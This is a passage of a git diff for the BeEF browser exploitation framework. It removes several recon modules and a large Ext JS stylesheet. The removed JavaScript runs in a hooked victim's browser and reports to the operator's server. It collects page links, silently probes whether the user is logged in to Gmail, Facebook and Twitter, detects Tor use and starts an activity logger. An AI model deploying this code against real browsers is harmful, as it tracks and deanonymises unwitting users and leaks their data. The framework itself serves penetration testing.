new discrete pop under window with the beef hook included.

This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release', - 'Category' => 'Persistence', - 'Author' => 'ethicalhack3r', - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use_template! - - end - - # This method is being called when a hooked browser sends some - # data back to the framework. - # - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/recon/collect_links/collect_links.js b/modules/commands/recon/collect_links/collect_links.js deleted file mode 100644 index 2bcc776bf..000000000 --- a/modules/commands/recon/collect_links/collect_links.js +++ /dev/null @@ -1,6 +0,0 @@ -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+escape(beef.dom.getLinks().toString())); - -}); - diff --git a/modules/commands/recon/collect_links/collect_links.rb b/modules/commands/recon/collect_links/collect_links.rb deleted file mode 100644 index f75731afb..000000000 --- a/modules/commands/recon/collect_links/collect_links.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Collect_links < BeEF::Command - - def initialize - super({ - 'Name' => 'Collect Links', - 'Description' => %Q{ - This module will retrieve HREFs from the target page - }, - 'Category' => 'Recon', - 'Author' => ['vo'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Links'] = @datastore['links'] - - save content - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/recon/detect_cookies_support/detect_cookies.js b/modules/commands/recon/detect_cookies_support/detect_cookies.js deleted file mode 100644 index a85563b0e..000000000 --- a/modules/commands/recon/detect_cookies_support/detect_cookies.js +++ /dev/null @@ -1,9 +0,0 @@ -beef.execute(function() { - - var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>"); - var persistentResult = beef.browser.cookie.hasPersistentCookies("<%= @cookie %>"); - - var results = {'has_session_cookies': sessionResult, 'has_persistent_cookies':persistentResult, 'cookie':'<%= @cookie %>'} - beef.net.send("<%= @command_url %>", <%= @command_id %>, results); -}); - diff --git a/modules/commands/recon/detect_cookies_support/detect_cookies.rb b/modules/commands/recon/detect_cookies_support/detect_cookies.rb deleted file mode 100644 index 678c0a19a..000000000 --- a/modules/commands/recon/detect_cookies_support/detect_cookies.rb +++ /dev/null @@ -1,44 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Detect_cookies < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect Cookie Support', - 'Description' => %Q{ - This module will check if the browser allows a cookie with specified name to be set. - }, - 'Category' => 'Recon', - 'Data' => [ - {'name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie'} - ], - 'Author' => ['vo'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.browser.cookie' - use_template! - end - - def callback - content = {} - content['Has Session Cookies'] = @datastore['has_session_cookies'] - content['Has Persistent Cookies'] = @datastore['has_persistent_cookies'] - content['Cookie Attempted'] = @datastore['cookie'] - save content - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/recon/detect_soc_nets/detect_soc_nets.js b/modules/commands/recon/detect_soc_nets/detect_soc_nets.js deleted file mode 100644 index 10a02dad2..000000000 --- a/modules/commands/recon/detect_soc_nets/detect_soc_nets.js +++ /dev/null @@ -1,67 +0,0 @@ -beef.execute(function() { - - var facebookresult = ""; - var twitterresult = ""; - - if (document.getElementById('gmailimg')) { - return "Img has already been created"; - } - - var img = new Image(); - img.setAttribute("style","visibility:hidden"); - img.setAttribute("width","0"); - img.setAttribute("height","0"); - img.src = 'https://mail.google.com/mail/photos/static/AD34hIiQyJTs5FhsJ1mhFdK9wx4OZU2AgLNZLBbk2zMHYPUfs-ZzXPLq2s2vdBmgnJ6SoUCeBbFnjRlPUDXw860gsEDSKPrhBJYDgDBCd7g36x2tuBQc0TM?'+ new Date(); - img.id = 'gmailimg'; - img.setAttribute("attr","start"); - img.onerror = function() { - this.setAttribute("attr","error"); - }; - img.onload = function() { - this.setAttribute("attr","load"); - }; - - - document.body.appendChild(img); - - $j.ajax({ - url: "https://twitter.com/account/use_phx?setting=false&format=text", - dataType: "script", - cache: "false", - error: function(one, two, three) { - twitterresult = "User is authenticated to Twitter"; - }, - success: function(one, two, three) { - twitterresult = "User is NOT authenticated to Twitter"; - }, - timeout: <%= @timeout %> - }); - - $j.ajax({ - url: "https://www.facebook.com/imike3", - dataType: "script", - cache: "false", - error: function(one, two, three) { - facebookresult = "User is NOT authenticated to Facebook"; - }, - success: function(one, two, three) { - facebookresult = "User is authenticated to Facebook"; - }, - timeout: <%= @timeout %> - }); - - setTimeout(function() { - var img2 = document.getElementById('gmailimg'); - if (img2.getAttribute("attr") == "error") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); - } else if (img2.getAttribute("attr") == "load") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); - } else if (img2.getAttribute("attr") == "start") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); - }; - document.body.removeChild(img2); - img = null; - img2 = null; - }, <%= @timeout %>+3000); - -}); diff --git a/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb b/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb deleted file mode 100644 index 61e04e6ac..000000000 --- a/modules/commands/recon/detect_soc_nets/detect_soc_nets.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - -class Detect_soc_nets < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect Social Networks', - 'Description' => 'This module will detect if the Hooked Browser is currently authenticated to GMail, Facebook and Twitter', - 'Category' => 'Recon', - 'Author' => ['xntrik', 'Mike Cardwell'], - 'Data' => [ - {'name' => 'timeout', 'ui_label' => 'Detection Timeout','value' => '5000'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.net.local' - use_template! - end - - def callback - content = {} - content['GMail'] = @datastore['gmail'] - content['Facebook'] = @datastore['facebook'] - content['Twitter']= @datastore['twitter'] - save content - end - -end - -end -end -end diff --git a/modules/commands/recon/detect_tor/detect_tor.js b/modules/commands/recon/detect_tor/detect_tor.js deleted file mode 100644 index af7134d58..000000000 --- a/modules/commands/recon/detect_tor/detect_tor.js +++ /dev/null @@ -1,35 +0,0 @@ -beef.execute(function() { - - if (document.getElementById('torimg')) { - return "Img already created"; - } - - var img = new Image(); - img.setAttribute("style","visibility:hidden"); - img.setAttribute("width","0"); - img.setAttribute("height","0"); - img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif'; - img.id = 'torimg'; - img.setAttribute("attr","start"); - img.onerror = function() { - this.setAttribute("attr","error"); - }; - img.onload = function() { - this.setAttribute("attr","load"); - }; - - document.body.appendChild(img); - - setTimeout(function() { - var img = document.getElementById('torimg'); - if (img.getAttribute("attr") == "error") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor'); - } else if (img.getAttribute("attr") == "load") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor'); - } else if (img.getAttribute("attr") == "start") { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor'); - }; - document.body.removeChild(img); - }, <%= @timeout %>); - -}); diff --git a/modules/commands/recon/detect_tor/detect_tor.rb b/modules/commands/recon/detect_tor/detect_tor.rb deleted file mode 100644 index 92469b9f0..000000000 --- a/modules/commands/recon/detect_tor/detect_tor.rb +++ /dev/null @@ -1,38 +0,0 @@ -module BeEF -module Modules -module Commands - -class Detect_tor < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect Tor', - 'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).', - 'Category' => 'Recon', - 'Author' => ['pdp', 'wade', 'bm', 'xntrik'], - 'Data' => [ - {'name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.net.local' - use_template! - end - - def callback - return if @datastore['result'].nil? - - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/recon/event_logger/event_logger.js b/modules/commands/recon/event_logger/event_logger.js deleted file mode 100644 index a348bee1e..000000000 --- a/modules/commands/recon/event_logger/event_logger.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - beef.logger.start(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Event logger has been started'); -}); - diff --git a/modules/commands/recon/event_logger/event_logger.rb b/modules/commands/recon/event_logger/event_logger.rb deleted file mode 100644 index 7cb7f8490..000000000 --- a/modules/commands/recon/event_logger/event_logger.rb +++ /dev/null @@ -1,37 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Event_logger < BeEF::Command - - def initialize - super({ - 'Name' => 'Event Logger', - 'Description' => %Q{ - Logs user activity on target browser. - }, - 'Category' => 'Recon', - 'Author' => ['passbe'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - - -end -end -end \ No newline at end of file diff --git a/public/css/base.css b/public/css/base.css deleted file mode 100644 index 362c09fc5..000000000 --- a/public/css/base.css +++ /dev/null @@ -1,93 +0,0 @@ -#header .right-menu { - float: right; - margin: 10px; - word-spacing: 5px; - font: 11px arial, tahoma, verdana, helvetica; - color:#000; -} - -#header a:link, -#header a:visited { - color:#000; - text-decoration:underline; -} - -.x-grid3-cell-inner, .x-grid3-hd-inner { - white-space: normal; /* changed from nowrap */ -} - -.x-grid-empty { - text-align:left; -} - -.feed-icon { - display: none; -} - -#zombie-tree-tabs-panel .x-tab-panel-header { - font: 11px tahoma,arial,helvetica,sans-serif; - padding: 0 0 0 0; - border-bottom: none; - text-align: center; -} - -/* - * Status bar - ****************************************/ -.x-statusbar .x-status-busy, -.x-statusbar .x-status-error, -.x-statusbar .x-status-valid { - background: transparent no-repeat 3px 2px; - padding-left: 25px !important; - padding-bottom: 2px !important; -} - -.x-statusbar .x-status-busy { - background-image: url(../images/statusbar/loading.gif); -} - -.x-statusbar .x-status-error { - color: #C33; - background-image: url(../images/statusbar/exclamation.gif); -} - -.x-statusbar .x-status-valid { - background-image: url(../images/statusbar/accept.png); -} - -.x-tree-node-leaf .x-tree-node-icon { - width: 13px; - height: 13px; - padding-top: 3px; -} - -/* - * Ext.beef.msg - ****************************************/ -.msg .x-box-mc { - font-size:14px; -} - -#msg-div { - position:absolute; - left:35%; - top:20px; - width:250px; - z-index:20000; -} - -/* - * Exploit Panel - ****************************************/ -.x-form-item-label, .x-form-element { - font: 11px tahoma,arial,helvetica,sans-serif; -} - -.command-module-panel-description { - margin-bottom: 10px; - padding-top: 4px; -} - -label { - font: 11px tahoma,arial,helvetica,sans-serif; -} diff --git a/public/css/ext-all.css b/public/css/ext-all.css deleted file mode 100644 index 22e51ccd4..000000000 --- a/public/css/ext-all.css +++ /dev/null @@ -1,6969 +0,0 @@ -/*! - * Ext JS Library 3.3.1 - * Copyright(c) 2006-2010 Sencha Inc. - * licensing@sencha.com - * http://www.sencha.com/license - */ -html,body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;}img,body,html{border:0;}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;}ol,ul {list-style:none;}caption,th {text-align:left;}h1,h2,h3,h4,h5,h6{font-size:100%;}q:before,q:after{content:'';} - -.ext-forced-border-box, .ext-forced-border-box * { - -moz-box-sizing: border-box; - -ms-box-sizing: border-box; - -webkit-box-sizing: border-box; -} -.ext-el-mask { - z-index: 100; - position: absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity: .50; - filter: alpha(opacity=50); - width: 100%; - height: 100%; - zoom: 1; -} - -.ext-el-mask-msg { - z-index: 20001; - position: absolute; - top: 0; - left: 0; - border:1px solid; - background:repeat-x 0 -16px; - padding:2px; -} - -.ext-el-mask-msg div { - padding:5px 10px 5px 10px; - border:1px solid; - cursor:wait; -} - -.ext-shim { - position:absolute; - visibility:hidden; - left:0; - top:0; - overflow:hidden; -} - -.ext-ie .ext-shim { - filter: alpha(opacity=0); -} - -.ext-ie6 .ext-shim { - margin-left: 5px; - margin-top: 3px; -} - -.x-mask-loading div { - padding:5px 10px 5px 25px; - background:no-repeat 5px 5px; - line-height:16px; -} - -/* class for hiding elements without using display:none */ -.x-hidden, .x-hide-offsets { - position:absolute !important; - left:-10000px; - top:-10000px; - visibility:hidden; -} - -.x-hide-display { - display:none !important; -} - -.x-hide-nosize, -.x-hide-nosize * /* Emulate display:none for children */ - { - height:0px!important; - width:0px!important; - visibility:hidden!important; - border:none!important; - zoom:1; -} - -.x-hide-visibility { - visibility:hidden !important; -} - -.x-masked { - overflow: hidden !important; -} -.x-masked-relative { - position: relative !important; -} - -.x-masked select, .x-masked object, .x-masked embed { - visibility: hidden; -} - -.x-layer { - visibility: hidden; -} - -.x-unselectable, .x-unselectable * { - -moz-user-select: none; - -khtml-user-select: none; - -webkit-user-select:ignore; -} - -.x-repaint { - zoom: 1; - background-color: transparent; - -moz-outline: none; - outline: none; -} - -.x-item-disabled { - cursor: default; - opacity: .6; - -moz-opacity: .6; - filter: alpha(opacity=60); -} - -.x-item-disabled * { - cursor: default !important; -} - -.x-form-radio-group .x-item-disabled { - filter: none; -} - -.x-splitbar-proxy { - position: absolute; - visibility: hidden; - z-index: 20001; - zoom: 1; - line-height: 1px; - font-size: 1px; - overflow: hidden; -} - -.x-splitbar-h, .x-splitbar-proxy-h { - cursor: e-resize; - cursor: col-resize; -} - -.x-splitbar-v, .x-splitbar-proxy-v { - cursor: s-resize; - cursor: row-resize; -} - -.x-color-palette { - width: 150px; - height: 92px; - cursor: pointer; -} - -.x-color-palette a { - border: 1px solid; - float: left; - padding: 2px; - text-decoration: none; - -moz-outline: 0 none; - outline: 0 none; - cursor: pointer; -} - -.x-color-palette a:hover, .x-color-palette a.x-color-palette-sel { - border: 1px solid; -} - -.x-color-palette em { - display: block; - border: 1px solid; -} - -.x-color-palette em span { - cursor: pointer; - display: block; - height: 10px; - line-height: 10px; - width: 10px; -} - -.x-ie-shadow { - display: none; - position: absolute; - overflow: hidden; - left:0; - top:0; - zoom:1; -} - -.x-shadow { - display: none; - position: absolute; - overflow: hidden; - left:0; - top:0; -} - -.x-shadow * { - overflow: hidden; -} - -.x-shadow * { - padding: 0; - border: 0; - margin: 0; - clear: none; - zoom: 1; -} - -/* top bottom */ -.x-shadow .xstc, .x-shadow .xsbc { - height: 6px; - float: left; -} - -/* corners */ -.x-shadow .xstl, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbr { - width: 6px; - height: 6px; - float: left; -} - -/* sides */ -.x-shadow .xsc { - width: 100%; -} - -.x-shadow .xsml, .x-shadow .xsmr { - width: 6px; - float: left; - height: 100%; -} - -.x-shadow .xsmc { - float: left; - height: 100%; - background-color: transparent; -} - -.x-shadow .xst, .x-shadow .xsb { - height: 6px; - overflow: hidden; - width: 100%; -} - -.x-shadow .xsml { - background: transparent repeat-y 0 0; -} - -.x-shadow .xsmr { - background: transparent repeat-y -6px 0; -} - -.x-shadow .xstl { - background: transparent no-repeat 0 0; -} - -.x-shadow .xstc { - background: transparent repeat-x 0 -30px; -} - -.x-shadow .xstr { - background: transparent repeat-x 0 -18px; -} - -.x-shadow .xsbl { - background: transparent no-repeat 0 -12px; -} - -.x-shadow .xsbc { - background: transparent repeat-x 0 -36px; -} - -.x-shadow .xsbr { - background: transparent repeat-x 0 -6px; -} - -.loading-indicator { - background: no-repeat left; - padding-left: 20px; - line-height: 16px; - margin: 3px; -} - -.x-text-resize { - position: absolute; - left: -1000px; - top: -1000px; - visibility: hidden; - zoom: 1; -} - -.x-drag-overlay { - width: 100%; - height: 100%; - display: none; - position: absolute; - left: 0; - top: 0; - background-image:url(../images/default/s.gif); - z-index: 20000; -} - -.x-clear { - clear:both; - height:0; - overflow:hidden; - line-height:0; - font-size:0; -} - -.x-spotlight { - z-index: 8999; - position: absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity: .50; - filter: alpha(opacity=50); - width:0; - height:0; - zoom: 1; -} - -#x-history-frame { - position:absolute; - top:-1px; - left:0; - width:1px; - height:1px; - visibility:hidden; -} - -#x-history-field { - position:absolute; - top:0; - left:-1px; - width:1px; - height:1px; - visibility:hidden; -} -.x-resizable-handle { - position:absolute; - z-index:100; - /* ie needs these */ - font-size:1px; - line-height:6px; - overflow:hidden; - filter:alpha(opacity=0); - opacity:0; - zoom:1; -} - -.x-resizable-handle-east{ - width:6px; - cursor:e-resize; - right:0; - top:0; - height:100%; -} - -.ext-ie .x-resizable-handle-east { - margin-right:-1px; /*IE rounding error*/ -} - -.x-resizable-handle-south{ - width:100%; - cursor:s-resize; - left:0; - bottom:0; - height:6px; -} - -.ext-ie .x-resizable-handle-south { - margin-bottom:-1px; /*IE rounding error*/ -} - -.x-resizable-handle-west{ - width:6px; - cursor:w-resize; - left:0; - top:0; - height:100%; -} - -.x-resizable-handle-north{ - width:100%; - cursor:n-resize; - left:0; - top:0; - height:6px; -} - -.x-resizable-handle-southeast{ - width:6px; - cursor:se-resize; - right:0; - bottom:0; - height:6px; - z-index:101; -} - -.x-resizable-handle-northwest{ - width:6px; - cursor:nw-resize; - left:0; - top:0; - height:6px; - z-index:101; -} - -.x-resizable-handle-northeast{ - width:6px; - cursor:ne-resize; - right:0; - top:0; - height:6px; - z-index:101; -} - -.x-resizable-handle-southwest{ - width:6px; - cursor:sw-resize; - left:0; - bottom:0; - height:6px; - z-index:101; -} - -.x-resizable-over .x-resizable-handle, .x-resizable-pinned .x-resizable-handle{ - filter:alpha(opacity=100); - opacity:1; -} - -.x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east, -.x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west -{ - background-position: left; -} - -.x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south, -.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north -{ - background-position: top; -} - -.x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{ - background-position: top left; -} - -.x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{ - background-position:bottom right; -} - -.x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{ - background-position: bottom left; -} - -.x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{ - background-position: top right; -} - -.x-resizable-proxy{ - border: 1px dashed; - position:absolute; - overflow:hidden; - display:none; - left:0; - top:0; - z-index:50000; -} - -.x-resizable-overlay{ - width:100%; - height:100%; - display:none; - position:absolute; - left:0; - top:0; - z-index:200000; - -moz-opacity: 0; - opacity:0; - filter: alpha(opacity=0); -} -.x-tab-panel { - overflow:hidden; -} - -.x-tab-panel-header, .x-tab-panel-footer { - border: 1px solid; - overflow:hidden; - zoom:1; -} - -.x-tab-panel-header { - border: 1px solid; - padding-bottom: 2px; -} - -.x-tab-panel-footer { - border: 1px solid; - padding-top: 2px; -} - -.x-tab-strip-wrap { - width:100%; - overflow:hidden; - position:relative; - zoom:1; -} - -ul.x-tab-strip { - display:block; - width:5000px; - zoom:1; -} - -ul.x-tab-strip-top{ - padding-top: 1px; - background: repeat-x bottom; - border-bottom: 1px solid; -} - -ul.x-tab-strip-bottom{ - padding-bottom: 1px; - background: repeat-x top; - border-top: 1px solid; - border-bottom: 0 none; -} - -.x-tab-panel-header-plain .x-tab-strip-top { - background:transparent !important; - padding-top:0 !important; -} - -.x-tab-panel-header-plain { - background:transparent !important; - border-width:0 !important; - padding-bottom:0 !important; -} - -.x-tab-panel-header-plain .x-tab-strip-spacer, -.x-tab-panel-footer-plain .x-tab-strip-spacer { - border:1px solid; - height:2px; - font-size:1px; - line-height:1px; -} - -.x-tab-panel-header-plain .x-tab-strip-spacer { - border-top: 0 none; -} - -.x-tab-panel-footer-plain .x-tab-strip-spacer { - border-bottom: 0 none; -} - -.x-tab-panel-footer-plain .x-tab-strip-bottom { - background:transparent !important; - padding-bottom:0 !important; -} - -.x-tab-panel-footer-plain { - background:transparent !important; - border-width:0 !important; - padding-top:0 !important; -} - -.ext-border-box .x-tab-panel-header-plain .x-tab-strip-spacer, -.ext-border-box .x-tab-panel-footer-plain .x-tab-strip-spacer { - height:3px; -} - -ul.x-tab-strip li { - float:left; - margin-left:2px; -} - -ul.x-tab-strip li.x-tab-edge { - float:left; - margin:0 !important; - padding:0 !important; - border:0 none !important; - font-size:1px !important; - line-height:1px !important; - overflow:hidden; - zoom:1; - background:transparent !important; - width:1px; -} - -.x-tab-strip a, .x-tab-strip span, .x-tab-strip em { - display:block; -} - -.x-tab-strip a { - text-decoration:none !important; - -moz-outline: none; - outline: none; - cursor:pointer; -} - -.x-tab-strip-inner { - overflow:hidden; - text-overflow: ellipsis; -} - -.x-tab-strip span.x-tab-strip-text { - white-space: nowrap; - cursor:pointer; - padding:4px 0; -} - -.x-tab-strip-top .x-tab-with-icon .x-tab-right { - padding-left:6px; -} - -.x-tab-strip .x-tab-with-icon span.x-tab-strip-text { - padding-left:20px; - background-position: 0 3px; - background-repeat: no-repeat; -} - -.x-tab-strip-active, .x-tab-strip-active a.x-tab-right { - cursor:default; -} - -.x-tab-strip-active span.x-tab-strip-text { - cursor:default; -} - -.x-tab-strip-disabled .x-tabs-text { - cursor:default; -} - -.x-tab-panel-body { - overflow:hidden; -} - -.x-tab-panel-bwrap { - overflow:hidden; -} - -.ext-ie .x-tab-strip .x-tab-right { - position:relative; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-right { - margin-bottom:-1px; -} - -/* - * Horrible hack for IE8 in quirks mode - */ -.ext-ie8 .x-tab-strip li { - position: relative; -} -.ext-border-box .ext-ie8 .x-tab-strip-top .x-tab-right { - top: 1px; -} -.ext-ie8 .x-tab-strip-top { - padding-top: 1; -} -.ext-border-box .ext-ie8 .x-tab-strip-top { - padding-top: 0; -} -.ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - top:3px; -} -.ext-border-box .ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - top:4px; -} -.ext-ie8 .x-tab-strip-bottom .x-tab-right{ - top:0; -} - - -.x-tab-strip-top .x-tab-strip-active .x-tab-right span.x-tab-strip-text { - padding-bottom:5px; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right { - margin-top:-1px; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right span.x-tab-strip-text { - padding-top:5px; -} - -.x-tab-strip-top .x-tab-right { - background: transparent no-repeat 0 -51px; - padding-left:10px; -} - -.x-tab-strip-top .x-tab-left { - background: transparent no-repeat right -351px; - padding-right:10px; -} - -.x-tab-strip-top .x-tab-strip-inner { - background: transparent repeat-x 0 -201px; -} - -.x-tab-strip-top .x-tab-strip-over .x-tab-right { - background-position:0 -101px; -} - -.x-tab-strip-top .x-tab-strip-over .x-tab-left { - background-position:right -401px; -} - -.x-tab-strip-top .x-tab-strip-over .x-tab-strip-inner { - background-position:0 -251px; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-right { - background-position: 0 0; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-left { - background-position: right -301px; -} - -.x-tab-strip-top .x-tab-strip-active .x-tab-strip-inner { - background-position: 0 -151px; -} - -.x-tab-strip-bottom .x-tab-right { - background: no-repeat bottom right; -} - -.x-tab-strip-bottom .x-tab-left { - background: no-repeat bottom left; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right { - background: no-repeat bottom right; -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-left { - background: no-repeat bottom left; -} - -.x-tab-strip-bottom .x-tab-left { - margin-right: 3px; - padding:0 10px; -} - -.x-tab-strip-bottom .x-tab-right { - padding:0; -} - -.x-tab-strip .x-tab-strip-close { - display:none; -} - -.x-tab-strip-closable { - position:relative; -} - -.x-tab-strip-closable .x-tab-left { - padding-right:19px; -} - -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - opacity:.6; - -moz-opacity:.6; - background-repeat:no-repeat; - display:block; - width:11px; - height:11px; - position:absolute; - top:3px; - right:3px; - cursor:pointer; - z-index:2; -} - -.x-tab-strip .x-tab-strip-active a.x-tab-strip-close { - opacity:.8; - -moz-opacity:.8; -} -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{ - opacity:1; - -moz-opacity:1; -} - -.x-tab-panel-body { - border: 1px solid; -} - -.x-tab-panel-body-top { - border-top: 0 none; -} - -.x-tab-panel-body-bottom { - border-bottom: 0 none; -} - -.x-tab-scroller-left { - background: transparent no-repeat -18px 0; - border-bottom: 1px solid; - width:18px; - position:absolute; - left:0; - top:0; - z-index:10; - cursor:pointer; -} -.x-tab-scroller-left-over { - background-position: 0 0; -} - -.x-tab-scroller-left-disabled { - background-position: -18px 0; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); - cursor:default; -} - -.x-tab-scroller-right { - background: transparent no-repeat 0 0; - border-bottom: 1px solid; - width:18px; - position:absolute; - right:0; - top:0; - z-index:10; - cursor:pointer; -} - -.x-tab-scroller-right-over { - background-position: -18px 0; -} - -.x-tab-scroller-right-disabled { - background-position: 0 0; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); - cursor:default; -} - -.x-tab-scrolling-bottom .x-tab-scroller-left, .x-tab-scrolling-bottom .x-tab-scroller-right{ - margin-top: 1px; -} - -.x-tab-scrolling .x-tab-strip-wrap { - margin-left:18px; - margin-right:18px; -} - -.x-tab-scrolling { - position:relative; -} - -.x-tab-panel-bbar .x-toolbar { - border:1px solid; - border-top:0 none; - overflow:hidden; - padding:2px; -} - -.x-tab-panel-tbar .x-toolbar { - border:1px solid; - border-top:0 none; - overflow:hidden; - padding:2px; -}/* all fields */ -.x-form-field{ - margin: 0 0 0 0; -} - -.ext-webkit *:focus{ - outline: none !important; -} - -/* ---- text fields ---- */ -.x-form-text, textarea.x-form-field{ - padding:1px 3px; - background:repeat-x 0 0; - border:1px solid; -} - -textarea.x-form-field { - padding:2px 3px; -} - -.x-form-text, .ext-ie .x-form-file { - height:22px; - line-height:18px; - vertical-align:middle; -} - -.ext-ie6 .x-form-text, .ext-ie7 .x-form-text { - margin:-1px 0; /* ie bogus margin bug */ - height:22px; /* ie quirks */ - line-height:18px; -} - -.ext-ie6 .x-form-field-wrap .x-form-file-btn, .ext-ie7 .x-form-field-wrap .x-form-file-btn { - top: -1px; /* because of all these margin hacks, these buttons are off by one pixel in IE6,7 */ -} - -.ext-ie6 textarea.x-form-field, .ext-ie7 textarea.x-form-field { - margin:-1px 0; /* ie bogus margin bug */ -} - -.ext-strict .x-form-text { - height:18px; -} - -.ext-safari.ext-mac textarea.x-form-field { - margin-bottom:-2px; /* another bogus margin bug, safari/mac only */ -} - -/* -.ext-strict .ext-ie8 .x-form-text, .ext-strict .ext-ie8 textarea.x-form-field { - margin-bottom: 1px; -} -*/ - -.ext-gecko .x-form-text , .ext-ie8 .x-form-text { - padding-top:2px; /* FF won't center the text vertically */ - padding-bottom:0; -} - -.ext-ie6 .x-form-composite .x-form-text.x-box-item, .ext-ie7 .x-form-composite .x-form-text.x-box-item { - margin: 0 !important; /* clear ie bogus margin bug fix */ -} - -textarea { - resize: none; /* Disable browser resizable textarea */ -} - -/* select boxes */ -.x-form-select-one { - height:20px; - line-height:18px; - vertical-align:middle; - border: 1px solid; -} - -/* multi select boxes */ - -/* --- TODO --- */ - -/* 2.0.2 style */ -.x-form-check-wrap { - line-height:18px; - height: auto; -} - -.ext-ie .x-form-check-wrap input { - width:15px; - height:15px; -} - -.x-form-check-wrap input{ - vertical-align: bottom; -} - -.x-editor .x-form-check-wrap { - padding:3px; -} - -.x-editor .x-form-checkbox { - height:13px; -} - -.x-form-check-group-label { - border-bottom: 1px solid; - margin-bottom: 5px; - padding-left: 3px !important; - float: none !important; -} - -/* wrapped fields and triggers */ -.x-form-field-wrap .x-form-trigger{ - width:17px; - height:21px; - border:0; - background:transparent no-repeat 0 0; - cursor:pointer; - border-bottom: 1px solid; - position:absolute; - top:0; -} - -.x-form-field-wrap .x-form-date-trigger, .x-form-field-wrap .x-form-clear-trigger, .x-form-field-wrap .x-form-search-trigger{ - cursor:pointer; -} - -.x-form-field-wrap .x-form-twin-triggers .x-form-trigger{ - position:static; - top:auto; - vertical-align:top; -} - -.x-form-field-wrap { - position:relative; - left:0;top:0; - text-align: left; - zoom:1; - white-space: nowrap; -} - -.ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-trigger { - right: 0; /* IE8 Strict mode trigger bug */ -} - -.x-form-field-wrap .x-form-trigger-over{ - background-position:-17px 0; -} - -.x-form-field-wrap .x-form-trigger-click{ - background-position:-34px 0; -} - -.x-trigger-wrap-focus .x-form-trigger{ - background-position:-51px 0; -} - -.x-trigger-wrap-focus .x-form-trigger-over{ - background-position:-68px 0; -} - -.x-trigger-wrap-focus .x-form-trigger-click{ - background-position:-85px 0; 